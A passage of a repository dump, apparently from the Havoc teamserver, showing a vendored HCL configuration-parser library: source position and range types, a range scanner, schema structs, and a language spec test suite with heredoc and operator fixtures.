give such a\n\t\t// direct suggestion because there is no mechanism to select a single\n\t\t// item from a set.\n\t\t// We could potentially suggest using a for expression or splat\n\t\t// operator here, but we typically don't get into syntax specifics\n\t\t// in hcl.GetAttr suggestions because it's a general function used in\n\t\t// various other situations, such as in application-specific operations\n\t\t// that might have a more constraint set of alternative approaches.\n\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  unsupportedAttr,\n\t\t\t\tDetail:   \"Can't access attributes on a set of objects. Did you mean to access an attribute across all elements of the set?\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\n\tcase ty.IsPrimitiveType():\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  unsupportedAttr,\n\t\t\t\tDetail:   fmt.Sprintf(\"Can't access attributes on a primitive-typed value (%s).\", ty.FriendlyName()),\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\n\tdefault:\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  unsupportedAttr,\n\t\t\t\tDetail:   \"This value does not have any attributes.\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\t}\n\n}\n\n// ApplyPath is a helper function that applies a cty.Path to a value using the\n// indexing and attribute access operations from HCL.\n//\n// This is similar to calling the path's own Apply method, but ApplyPath uses\n// the more relaxed typing rules that apply to these operations in HCL, rather\n// than cty's relatively-strict rules. ApplyPath is implemented in terms of\n// Index and GetAttr, and so it has the same behavior for individual steps\n// but will stop and return any errors returned by intermediate steps.\n//\n// Diagnostics are produced if the given path cannot be applied to the given\n// value. Therefore a pointer to a source range must be provided to use in\n// diagnostics, though nil can be provided if the calling application is going\n// to ignore the subject of the returned diagnostics anyway.\nfunc ApplyPath(val cty.Value, path cty.Path, srcRange *Range) (cty.Value, Diagnostics) {\n\tvar diags Diagnostics\n\n\tfor _, step := range path {\n\t\tvar stepDiags Diagnostics\n\t\tswitch ts := step.(type) {\n\t\tcase cty.IndexStep:\n\t\t\tval, stepDiags = Index(val, ts.Key, srcRange)\n\t\tcase cty.GetAttrStep:\n\t\t\tval, stepDiags = GetAttr(val, ts.Name, srcRange)\n\t\tdefault:\n\t\t\t// Should never happen because the above are all of the step types.\n\t\t\tdiags = diags.Append(&Diagnostic{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  \"Invalid path step\",\n\t\t\t\tDetail:   fmt.Sprintf(\"Go type %T is not a valid path step. This is a bug in this program.\", step),\n\t\t\t\tSubject:  srcRange,\n\t\t\t})\n\t\t\treturn cty.DynamicVal, diags\n\t\t}\n\n\t\tdiags = append(diags, stepDiags...)\n\t\tif stepDiags.HasErrors() {\n\t\t\treturn cty.DynamicVal, diags\n\t\t}\n\t}\n\n\treturn val, diags\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/pos.go",
    "content": "package hcl\n\nimport \"fmt\"\n\n// Pos represents a single position in a source file, by addressing the\n// start byte of a unicode character encoded in UTF-8.\n//\n// Pos is generally used only in the context of a Range, which then defines\n// which source file the position is within.\ntype Pos struct {\n\t// Line is the source code line where this position points. Lines are\n\t// counted starting at 1 and incremented for each newline character\n\t// encountered.\n\tLine int\n\n\t// Column is the source code column where this position points, in\n\t// unicode characters, with counting starting at 1.\n\t//\n\t// Column counts characters as they appear visually, so for example a\n\t// latin letter with a combining diacritic mark counts as one character.\n\t// This is intended for rendering visual markers against source code in\n\t// contexts where these diacritics would be rendered in a single character\n\t// cell. Technically speaking, Column is counting grapheme clusters as\n\t// used in unicode normalization.\n\tColumn int\n\n\t// Byte is the byte offset into the file where the indicated character\n\t// begins. This is a zero-based offset to the first byte of the first\n\t// UTF-8 codepoint sequence in the character, and thus gives a position\n\t// that can be resolved _without_ awareness of Unicode characters.\n\tByte int\n}\n\n// InitialPos is a suitable position to use to mark the start of a file.\nvar InitialPos = Pos{Byte: 0, Line: 1, Column: 1}\n\n// Range represents a span of characters between two positions in a source\n// file.\n//\n// This struct is usually used by value in types that represent AST nodes,\n// but by pointer in types that refer to the positions of other objects,\n// such as in diagnostics.\ntype Range struct {\n\t// Filename is the name of the file into which this range's positions\n\t// point.\n\tFilename string\n\n\t// Start and End represent the bounds of this range. Start is inclusive\n\t// and End is exclusive.\n\tStart, End Pos\n}\n\n// RangeBetween returns a new range that spans from the beginning of the\n// start range to the end of the end range.\n//\n// The result is meaningless if the two ranges do not belong to the same\n// source file or if the end range appears before the start range.\nfunc RangeBetween(start, end Range) Range {\n\treturn Range{\n\t\tFilename: start.Filename,\n\t\tStart:    start.Start,\n\t\tEnd:      end.End,\n\t}\n}\n\n// RangeOver returns a new range that covers both of the given ranges and\n// possibly additional content between them if the two ranges do not overlap.\n//\n// If either range is empty then it is ignored. The result is empty if both\n// given ranges are empty.\n//\n// The result is meaningless if the two ranges to not belong to the same\n// source file.\nfunc RangeOver(a, b Range) Range {\n\tif a.Empty() {\n\t\treturn b\n\t}\n\tif b.Empty() {\n\t\treturn a\n\t}\n\n\tvar start, end Pos\n\tif a.Start.Byte < b.Start.Byte {\n\t\tstart = a.Start\n\t} else {\n\t\tstart = b.Start\n\t}\n\tif a.End.Byte > b.End.Byte {\n\t\tend = a.End\n\t} else {\n\t\tend = b.End\n\t}\n\treturn Range{\n\t\tFilename: a.Filename,\n\t\tStart:    start,\n\t\tEnd:      end,\n\t}\n}\n\n// ContainsPos returns true if and only if the given position is contained within\n// the receiving range.\n//\n// In the unlikely case that the line/column information disagree with the byte\n// offset information in the given position or receiving range, the byte\n// offsets are given priority.\nfunc (r Range) ContainsPos(pos Pos) bool {\n\treturn r.ContainsOffset(pos.Byte)\n}\n\n// ContainsOffset returns true if and only if the given byte offset is within\n// the receiving Range.\nfunc (r Range) ContainsOffset(offset int) bool {\n\treturn offset >= r.Start.Byte && offset < r.End.Byte\n}\n\n// Ptr returns a pointer to a copy of the receiver. This is a convenience when\n// ranges in places where pointers are required, such as in Diagnostic, but\n// the range in question is returned from a method. Go would otherwise not\n// allow one to take the address of a function call.\nfunc (r Range) Ptr() *Range {\n\treturn &r\n}\n\n// String returns a compact string representation of the receiver.\n// Callers should generally prefer to present a range more visually,\n// e.g. via markers directly on the relevant portion of source code.\nfunc (r Range) String() string {\n\tif r.Start.Line == r.End.Line {\n\t\treturn fmt.Sprintf(\n\t\t\t\"%s:%d,%d-%d\",\n\t\t\tr.Filename,\n\t\t\tr.Start.Line, r.Start.Column,\n\t\t\tr.End.Column,\n\t\t)\n\t} else {\n\t\treturn fmt.Sprintf(\n\t\t\t\"%s:%d,%d-%d,%d\",\n\t\t\tr.Filename,\n\t\t\tr.Start.Line, r.Start.Column,\n\t\t\tr.End.Line, r.End.Column,\n\t\t)\n\t}\n}\n\nfunc (r Range) Empty() bool {\n\treturn r.Start.Byte == r.End.Byte\n}\n\n// CanSliceBytes returns true if SliceBytes could return an accurate\n// sub-slice of the given slice.\n//\n// This effectively tests whether the start and end offsets of the range\n// are within the bounds of the slice, and thus whether SliceBytes can be\n// trusted to produce an accurate start and end position within that slice.\nfunc (r Range) CanSliceBytes(b []byte) bool {\n\tswitch {\n\tcase r.Start.Byte < 0 || r.Start.Byte > len(b):\n\t\treturn false\n\tcase r.End.Byte < 0 || r.End.Byte > len(b):\n\t\treturn false\n\tcase r.End.Byte < r.Start.Byte:\n\t\treturn false\n\tdefault:\n\t\treturn true\n\t}\n}\n\n// SliceBytes returns a sub-slice of the given slice that is covered by the\n// receiving range, assuming that the given slice is the source code of the\n// file indicated by r.Filename.\n//\n// If the receiver refers to any byte offsets that are outside of the slice\n// then the result is constrained to the overlapping portion only, to avoid\n// a panic. Use CanSliceBytes to determine if the result is guaranteed to\n// be an accurate span of the requested range.\nfunc (r Range) SliceBytes(b []byte) []byte {\n\tstart := r.Start.Byte\n\tend := r.End.Byte\n\tif start < 0 {\n\t\tstart = 0\n\t} else if start > len(b) {\n\t\tstart = len(b)\n\t}\n\tif end < 0 {\n\t\tend = 0\n\t} else if end > len(b) {\n\t\tend = len(b)\n\t}\n\tif end < start {\n\t\tend = start\n\t}\n\treturn b[start:end]\n}\n\n// Overlaps returns true if the receiver and the other given range share any\n// characters in common.\nfunc (r Range) Overlaps(other Range) bool {\n\tswitch {\n\tcase r.Filename != other.Filename:\n\t\t// If the ranges are in different files then they can't possibly overlap\n\t\treturn false\n\tcase r.Empty() || other.Empty():\n\t\t// Empty ranges can never overlap\n\t\treturn false\n\tcase r.ContainsOffset(other.Start.Byte) || r.ContainsOffset(other.End.Byte):\n\t\treturn true\n\tcase other.ContainsOffset(r.Start.Byte) || other.ContainsOffset(r.End.Byte):\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// Overlap finds a range that is either identical to or a sub-range of both\n// the receiver and the other given range. It returns an empty range\n// within the receiver if there is no overlap between the two ranges.\n//\n// A non-empty result is either identical to or a subset of the receiver.\nfunc (r Range) Overlap(other Range) Range {\n\tif !r.Overlaps(other) {\n\t\t// Start == End indicates an empty range\n\t\treturn Range{\n\t\t\tFilename: r.Filename,\n\t\t\tStart:    r.Start,\n\t\t\tEnd:      r.Start,\n\t\t}\n\t}\n\n\tvar start, end Pos\n\tif r.Start.Byte > other.Start.Byte {\n\t\tstart = r.Start\n\t} else {\n\t\tstart = other.Start\n\t}\n\tif r.End.Byte < other.End.Byte {\n\t\tend = r.End\n\t} else {\n\t\tend = other.End\n\t}\n\n\treturn Range{\n\t\tFilename: r.Filename,\n\t\tStart:    start,\n\t\tEnd:      end,\n\t}\n}\n\n// PartitionAround finds the portion of the given range that overlaps with\n// the receiver and returns three ranges: the portion of the receiver that\n// precedes the overlap, the overlap itself, and then the portion of the\n// receiver that comes after the overlap.\n//\n// If the two ranges do not overlap then all three returned ranges are empty.\n//\n// If the given range aligns with or extends beyond either extent of the\n// receiver then the corresponding outer range will be empty.\nfunc (r Range) PartitionAround(other Range) (before, overlap, after Range) {\n\toverlap = r.Overlap(other)\n\tif overlap.Empty() {\n\t\treturn overlap, overlap, overlap\n\t}\n\n\tbefore = Range{\n\t\tFilename: r.Filename,\n\t\tStart:    r.Start,\n\t\tEnd:      overlap.Start,\n\t}\n\tafter = Range{\n\t\tFilename: r.Filename,\n\t\tStart:    overlap.End,\n\t\tEnd:      r.End,\n\t}\n\n\treturn before, overlap, after\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/pos_scanner.go",
    "content": "package hcl\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\n\t\"github.com/apparentlymart/go-textseg/v13/textseg\"\n)\n\n// RangeScanner is a helper that will scan over a buffer using a bufio.SplitFunc\n// and visit a source range for each token matched.\n//\n// For example, this can be used with bufio.ScanLines to find the source range\n// for each line in the file, skipping over the actual newline characters, which\n// may be useful when printing source code snippets as part of diagnostic\n// messages.\n//\n// The line and column information in the returned ranges is produced by\n// counting newline characters and grapheme clusters respectively, which\n// mimics the behavior we expect from a parser when producing ranges.\ntype RangeScanner struct {\n\tfilename string\n\tb        []byte\n\tcb       bufio.SplitFunc\n\n\tpos Pos    // position of next byte to process in b\n\tcur Range  // latest range\n\ttok []byte // slice of b that is covered by cur\n\terr error  // error from last scan, if any\n}\n\n// NewRangeScanner creates a new RangeScanner for the given buffer, producing\n// ranges for the given filename.\n//\n// Since ranges have grapheme-cluster granularity rather than byte granularity,\n// the scanner will produce incorrect results if the given SplitFunc creates\n// tokens between grapheme cluster boundaries. In particular, it is incorrect\n// to use RangeScanner with bufio.ScanRunes because it will produce tokens\n// around individual UTF-8 sequences, which will split any multi-sequence\n// grapheme clusters.\nfunc NewRangeScanner(b []byte, filename string, cb bufio.SplitFunc) *RangeScanner {\n\treturn NewRangeScannerFragment(b, filename, InitialPos, cb)\n}\n\n// NewRangeScannerFragment is like NewRangeScanner but the ranges it produces\n// will be offset by the given starting position, which is appropriate for\n// sub-slices of a file, whereas NewRangeScanner assumes it is scanning an\n// entire file.\nfunc NewRangeScannerFragment(b []byte, filename string, start Pos, cb bufio.SplitFunc) *RangeScanner {\n\treturn &RangeScanner{\n\t\tfilename: filename,\n\t\tb:        b,\n\t\tcb:       cb,\n\t\tpos:      start,\n\t}\n}\n\nfunc (sc *RangeScanner) Scan() bool {\n\tif sc.pos.Byte >= len(sc.b) || sc.err != nil {\n\t\t// All done\n\t\treturn false\n\t}\n\n\t// Since we're operating on an in-memory buffer, we always pass the whole\n\t// remainder of the buffer to our SplitFunc and set isEOF to let it know\n\t// that it has the whole thing.\n\tadvance, token, err := sc.cb(sc.b[sc.pos.Byte:], true)\n\n\t// Since we are setting isEOF to true this should never happen, but\n\t// if it does we will just abort and assume the SplitFunc is misbehaving.\n\tif advance == 0 && token == nil && err == nil {\n\t\treturn false\n\t}\n\n\tif err != nil {\n\t\tsc.err = err\n\t\tsc.cur = Range{\n\t\t\tFilename: sc.filename,\n\t\t\tStart:    sc.pos,\n\t\t\tEnd:      sc.pos,\n\t\t}\n\t\tsc.tok = nil\n\t\treturn false\n\t}\n\n\tsc.tok = token\n\tstart := sc.pos\n\tend := sc.pos\n\tnew := sc.pos\n\n\t// adv is similar to token but it also includes any subsequent characters\n\t// we're being asked to skip over by the SplitFunc.\n\t// adv is a slice covering any additional bytes we are skipping over, based\n\t// on what the SplitFunc told us to do with advance.\n\tadv := sc.b[sc.pos.Byte : sc.pos.Byte+advance]\n\n\t// We now need to scan over our token to count the grapheme clusters\n\t// so we can correctly advance Column, and count the newlines so we\n\t// can correctly advance Line.\n\tadvR := bytes.NewReader(adv)\n\tgsc := bufio.NewScanner(advR)\n\tadvanced := 0\n\tgsc.Split(textseg.ScanGraphemeClusters)\n\tfor gsc.Scan() {\n\t\tgr := gsc.Bytes()\n\t\tnew.Byte += len(gr)\n\t\tnew.Column++\n\n\t\t// We rely here on the fact that \\r\\n is considered a grapheme cluster\n\t\t// and so we don't need to worry about miscounting additional lines\n\t\t// on files with Windows-style line endings.\n\t\tif len(gr) != 0 && (gr[0] == '\\r' || gr[0] == '\\n') {\n\t\t\tnew.Column = 1\n\t\t\tnew.Line++\n\t\t}\n\n\t\tif advanced < len(token) {\n\t\t\t// If we've not yet found the end of our token then we'll\n\t\t\t// also push our \"end\" marker along.\n\t\t\t// (if advance > len(token) then we'll stop moving \"end\" early\n\t\t\t// so that the caller only sees the range covered by token.)\n\t\t\tend = new\n\t\t}\n\t\tadvanced += len(gr)\n\t}\n\n\tsc.cur = Range{\n\t\tFilename: sc.filename,\n\t\tStart:    start,\n\t\tEnd:      end,\n\t}\n\tsc.pos = new\n\treturn true\n}\n\n// Range returns a range that covers the latest token obtained after a call\n// to Scan returns true.\nfunc (sc *RangeScanner) Range() Range {\n\treturn sc.cur\n}\n\n// Bytes returns the slice of the input buffer that is covered by the range\n// that would be returned by Range.\nfunc (sc *RangeScanner) Bytes() []byte {\n\treturn sc.tok\n}\n\n// Err can be called after Scan returns false to determine if the latest read\n// resulted in an error, and obtain that error if so.\nfunc (sc *RangeScanner) Err() error {\n\treturn sc.err\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/schema.go",
    "content": "package hcl\n\n// BlockHeaderSchema represents the shape of a block header, and is\n// used for matching blocks within bodies.\ntype BlockHeaderSchema struct {\n\tType       string\n\tLabelNames []string\n}\n\n// AttributeSchema represents the requirements for an attribute, and is used\n// for matching attributes within bodies.\ntype AttributeSchema struct {\n\tName     string\n\tRequired bool\n}\n\n// BodySchema represents the desired shallow structure of a body.\ntype BodySchema struct {\n\tAttributes []AttributeSchema\n\tBlocks     []BlockHeaderSchema\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/README.md",
    "content": "# HCL Language Test Suite\n\nThis directory contains an implementation-agnostic test suite that can be used\nto verify the correct behavior not only of the HCL implementation in _this_\nrepository but also of possible other implementations.\n\nThe harness for running this suite -- a Go program in this directory -- uses\nthe `hcldec` program as a level of abstraction to avoid depending directly on\nthe Go implementation. As a result, other HCL implementations must also\ninclude a version of `hcldec` in order to run this spec.\n\nThe tests defined in this suite each correspond to a detail of\n[the HCL spec](../spec.md). This suite is separate from and not a\nsubstitute for direct unit tests of a given implementation that would presumably\nalso exercise that implementation's own programmatic API.\n\nTo run the suite, first build the harness using Go:\n\n```\ngo install Havoc/pkg/profile/yaotl/cmd/hclspecsuite\n```\n\nThen run it, passing it the directory containing the test definitions (the\n\"tests\" subdirectory of this directory) and the path to the `hcldec` executable\nto use.\n\nFor example, if working in the root of this repository and using the `hcldec`\nimplementation from here:\n\n```\ngo install ./cmd/hcldec\nhclspecsuite ./specsuite/tests $GOPATH/bin/hcldec\n```\n\nFor developers working on the Go implementation of HCL from this repository,\nplease note that this spec suite is run as part of a normal `go test ./...`\nexecution for this whole repository and so does not need to be run separately.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/spec_test.go",
    "content": "package spectests\n\nimport (\n    \"bufio\"\n    \"bytes\"\n    \"fmt\"\n    \"os\"\n    \"os/exec\"\n    \"path/filepath\"\n    \"runtime\"\n    \"strings\"\n    \"testing\"\n)\n\nfunc TestMain(m *testing.M) {\n    // The test harness is an external program that also expects to have\n    // hcldec built as an external program, so we'll build both into\n    // temporary files in our working directory before running our tests\n    // here, to ensure that we're always running a build of the latest code.\n    err := build()\n    if err != nil {\n        fmt.Fprintf(os.Stderr, \"%s\\n\", err.Error())\n        os.Exit(1)\n    }\n\n    // Now we can run the tests\n    os.Exit(m.Run())\n}\n\nfunc build() error {\n    err := goBuild(\"Havoc/pkg/profile/yaotl/cmd/hcldec\", \"tmp_hcldec\")\n    if err != nil {\n        return fmt.Errorf(\"error building hcldec: %s\", err)\n    }\n\n    err = goBuild(\"Havoc/pkg/profile/yaotl/cmd/hclspecsuite\", \"tmp_hclspecsuite\")\n    if err != nil {\n        return fmt.Errorf(\"error building hcldec: %s\", err)\n    }\n\n    return nil\n}\n\nfunc TestSpec(t *testing.T) {\n    suiteDir := filepath.Clean(\"../specsuite/tests\")\n    harness := \"./tmp_hclspecsuite\"\n    hcldec := \"./tmp_hcldec\"\n\n    cmd := exec.Command(harness, suiteDir, hcldec)\n    out, err := cmd.CombinedOutput()\n    if _, isExit := err.(*exec.ExitError); err != nil && !isExit {\n        t.Errorf(\"failed to run harness: %s\", err)\n    }\n    failed := err != nil\n\n    sc := bufio.NewScanner(bytes.NewReader(out))\n    var lines []string\n    for sc.Scan() {\n        lines = append(lines, sc.Text())\n    }\n\n    i := 0\n    for i < len(lines) {\n        cur := lines[i]\n        if strings.HasPrefix(cur, \"- \") {\n            testName := cur[2:]\n            t.Run(testName, func(t *testing.T) {\n                i++\n                for i < len(lines) {\n                    cur := lines[i]\n                    if strings.HasPrefix(cur, \"- \") || strings.HasPrefix(cur, \"==\") {\n                        return\n                    }\n                    t.Error(cur)\n                    i++\n                }\n            })\n        } else {\n            if !strings.HasPrefix(cur, \"==\") { // not the \"test harness problems\" report, then\n                t.Log(cur)\n            }\n            i++\n        }\n    }\n\n    if failed {\n        t.Error(\"specsuite failed\")\n    }\n}\n\nfunc goBuild(pkg, outFile string) error {\n    if runtime.GOOS == \"windows\" {\n        outFile += \".exe\"\n    }\n\n    cmd := exec.Command(\"go\", \"build\", \"-o\", outFile, pkg)\n    cmd.Stderr = os.Stderr\n    cmd.Stdout = os.Stdout\n    return cmd.Run()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.hcl",
    "content": "# Hash comment\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.hcldec",
    "content": "literal {\n  value = \"ok\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.t",
    "content": "# This test parses a file containing only a comment. It is a parsing-only test,\n# so the hcldec spec for this test is just a literal value given below.\n\nresult = \"ok\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/multiline_comment.hcl",
    "content": "/*\n  Multi-line comment\n*/\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/multiline_comment.hcldec",
    "content": "literal {\n  value = \"ok\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/multiline_comment.t",
    "content": "# This test parses a file containing only a comment. It is a parsing-only test,\n# so the hcldec spec for this test is just a literal value given below.\n\nresult = \"ok\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.hcl",
    "content": "// Slash comment\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.hcldec",
    "content": "literal {\n  value = \"ok\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.t",
    "content": "# This test parses a file containing only a comment. It is a parsing-only test,\n# so the hcldec spec for this test is just a literal value given below.\n\nresult = \"ok\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcl",
    "content": ""
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcl.json",
    "content": "{}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcldec",
    "content": "literal {\n  value = \"ok\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/empty.t",
    "content": "# This test ensures that we can successfully parse an empty file.\n# Since an empty file has no content, the hcldec spec for this test is\n# just a literal value, which we test below.\n\nresult = \"ok\"\n\ntraversals {\n  # Explicitly no traversals\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/heredoc.hcl",
    "content": "normal = {\n  basic = <<EOT\nFoo\nBar\nBaz\nEOT\n  indented = <<EOT\n    Foo\n    Bar\n    Baz\n  EOT\n  indented_more = <<EOT\n    Foo\n      Bar\n    Baz\n  EOT\n  interp = <<EOT\n    Foo\n    ${bar}\n    Baz\n  EOT\n  newlines_between = <<EOT\nFoo\n\nBar\n\nBaz\nEOT\n  indented_newlines_between = <<EOT\n    Foo\n\n    Bar\n\n    Baz\n  EOT\n\n  marker_at_suffix = <<EOT\n    NOT EOT\n  EOT\n}\nflush = {\n  basic = <<-EOT\nFoo\nBar\nBaz\nEOT\n  indented = <<-EOT\n    Foo\n    Bar\n    Baz\n  EOT\n  indented_more = <<-EOT\n    Foo\n      Bar\n    Baz\n  EOT\n  indented_less = <<-EOT\n    Foo\n  Bar\n    Baz\n  EOT\n  interp = <<-EOT\n    Foo\n    ${bar}\n    Baz\n  EOT\n  interp_indented_more = <<-EOT\n    Foo\n      ${bar}\n    Baz\n  EOT\n  interp_indented_less = <<-EOT\n    Foo\n  ${space_bar}\n    Baz\n  EOT\n  tabs = <<-EOT\n\tFoo\n  Bar\n  Baz\n  EOT\n  unicode_spaces = <<-EOT\n     Foo (there's two \"em spaces\" before Foo there)\n    Bar\n    Baz\n  EOT\n  newlines_between = <<-EOT\nFoo\n\nBar\n\nBaz\nEOT\n  indented_newlines_between = <<-EOT\n    Foo\n\n    Bar\n\n    Baz\n  EOT\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/heredoc.hcldec",
    "content": "variables {\n    bar       = \"Bar\"\n    space_bar = \"  Bar\"\n    words     = [\"Foo\", \"Bar\", \"Baz\"]\n}\n\nobject {\n  attr \"normal\" {\n    type = map(string)\n  }\n  attr \"flush\" {\n    type = map(string)\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/heredoc.t",
    "content": "result = {\n    normal = {\n        basic         = \"Foo\\nBar\\nBaz\\n\"\n        indented      = \"    Foo\\n    Bar\\n    Baz\\n\"\n        indented_more = \"    Foo\\n      Bar\\n    Baz\\n\"\n        interp        = \"    Foo\\n    Bar\\n    Baz\\n\"\n        newlines_between = \"Foo\\n\\nBar\\n\\nBaz\\n\"\n        indented_newlines_between = \"    Foo\\n\\n    Bar\\n\\n    Baz\\n\"\n\n        marker_at_suffix = \"    NOT EOT\\n\"\n    }\n    flush  = {\n        basic                = \"Foo\\nBar\\nBaz\\n\"\n        indented             = \"Foo\\nBar\\nBaz\\n\"\n        indented_more        = \"Foo\\n  Bar\\nBaz\\n\"\n        indented_less        = \"  Foo\\nBar\\n  Baz\\n\"\n        interp               = \"Foo\\nBar\\nBaz\\n\"\n        interp_indented_more = \"Foo\\n  Bar\\nBaz\\n\"\n        interp_indented_less = \"  Foo\\n  Bar\\n  Baz\\n\"\n        tabs                 = \"Foo\\n Bar\\n Baz\\n\"\n        unicode_spaces       = \" Foo (there's two \\\"em spaces\\\" before Foo there)\\nBar\\nBaz\\n\"\n        newlines_between     = \"Foo\\n\\nBar\\n\\nBaz\\n\"\n        indented_newlines_between = \"Foo\\n\\nBar\\n\\nBaz\\n\"\n    }\n}\nresult_type = object({\n  normal = map(string)\n  flush  = map(string)\n})\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/operators.hcl",
    "content": "equality \"==\" {\n  exactly = \"a\" == \"a\"\n  not     = \"a\" == \"b\"\n\n  type_mismatch_number = \"1\" == 1\n  type_mismatch_bool   = \"true\" == true\n}\nequality \"!=\" {\n  exactly = \"a\" != \"a\"\n  not     = \"a\" != \"b\"\n\n  type_mismatch_number = \"1\" != 1\n  type_mismatch_bool   = \"true\" != true\n}\n\ninequality \"<\" {\n  lt  = 1 < 2\n  gt  = 2 < 1\n  eq  = 1 < 1\n}\ninequality \"<=\" {\n  lt  = 1 <= 2\n  gt  = 2 <= 1\n  eq  = 1 <= 1\n}\ninequality \">\" {\n  lt  = 1 > 2\n  gt  = 2 > 1\n  eq  = 1 > 1\n}\ninequality \">=\" {\n  lt  = 1 >= 2\n  gt  = 2 >= 1\n  eq  = 1 >= 1\n}\n\narithmetic {\n  add      = 2 + 3.5\n  add_big  = 3.14159265358979323846264338327950288419716939937510582097494459 + 1\n  sub      = 3.5 - 2\n  sub_neg  = 2 - 3.5\n  mul      = 2 * 4.5\n  div      = 1 / 10\n  mod      = 11 % 5\n  mod_frac = 11 % 5.1\n}\n\nlogical_binary \"&&\" {\n  tt  = true && true\n  ft  = false && true\n  tf  = true && false\n  ff  = false && false\n}\nlogical_binary \"||\" {\n  tt  = true || true\n  ft  = false || true\n  tf  = true || false\n  ff  = false || false\n}\nlogical_unary \"!\" {\n  t   = !true\n  f   = !false\n}\n\nconditional {\n  t   = true ? \"a\" : \"b\"\n  f   = false ? \"a\" : \"b\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/operators.hcldec",
    "content": "object {\n  block_map \"equality\" {\n    labels = [\"operator\"]\n\n    object {\n      attr \"exactly\" { type = bool }\n      attr \"not\" { type = bool }\n      attr \"type_mismatch_number\" { type = bool }\n      attr \"type_mismatch_bool\" { type = bool }\n    }\n  }\n  block_map \"inequality\" {\n    labels = [\"operator\"]\n\n    object {\n      attr \"lt\" { type = bool }\n      attr \"gt\" { type = bool }\n      attr \"eq\" { type = bool }\n    }\n  }\n  block \"arithmetic\" {\n    object {\n      attr \"add\" { type = any }\n      attr \"add_big\" { type = any }\n      attr \"sub\" { type = any }\n      attr \"sub_neg\" { type = any }\n      attr \"mul\" { type = any }\n      attr \"div\" { type = any }\n      attr \"mod\" { type = any }\n      attr \"mod_frac\" { type = any }\n    }\n  }\n  block_map \"logical_binary\" {\n    labels = [\"operator\"]\n\n    object {\n      attr \"tt\" { type = bool }\n      attr \"ft\" { type = bool }\n      attr \"tf\" { type = bool }\n      attr \"ff\" { type = bool }\n    }\n  }\n  block_map \"logical_unary\" {\n    labels = [\"operator\"]\n\n    object {\n      attr \"t\"   { type = bool }\n      attr \"f\"   { type = bool }\n    }\n  }\n  block \"conditional\" {\n    object {\n      attr \"t\"   { type = any }\n      attr \"f\"   { type = any }\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/operators.t",
    "content": "result = {\n  equality = {\n    \"==\" = {\n      exactly              = true\n      not                  = false\n      type_mismatch_number = false\n      type_mismatch_bool   = false\n    }\n    \"!=\" = {\n      exactly              = false\n      not                  = true\n      type_mismatch_number = true\n      type_mismatch_bool   = true\n    }\n  }\n  inequality = {\n    \"<\" = {\n      lt = true\n      gt = false\n      eq = false\n    }\n    \"<=\" = {\n      lt = true\n      gt = false\n      eq = true\n    }\n    \">\" = {\n      lt = false\n      gt = true\n      eq = false\n    }\n    \">=\" = {\n      lt = false\n      gt = true\n      eq = true\n    }\n  }\n  arithmetic = {\n    add      = 5.5\n    add_big  = 4.14159265358979323846264338327950288419716939937510582097494459\n    sub      = 1.5\n    sub_neg  = -1.5\n    mul      = 9\n    div      = 0.1\n    mod      = 1\n    mod_frac = 0.80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024\n  }\n  logical_binary = {\n    \"&&\" = {\n      tt = true\n      tf = false\n      ft = false\n      ff = false\n    }\n    \"||\" = {\n      tt = true\n      tf = true\n      ft = true\n      ff = false\n    }\n  }\n  logical_unary = {\n    \"!\" = {\n      t = false\n      f = true\n    }\n  }\n  conditional = {\n    t = \"a\"\n    f = \"b\"\n  }\n}\nresult_type = object({\n  equality = map(object({\n    exactly              = bool\n    not                  = bool\n    type_mismatch_number = bool\n    type_mismatch_bool   = bool\n  }))\n  inequality = map(object({\n    lt  = bool\n    gt  = bool\n    eq  = bool\n  }))\n  arithmetic = object({\n    add      = number\n    add_big  = number\n    sub      = number\n    sub_neg  = number\n    mul      = number\n    div      = number\n    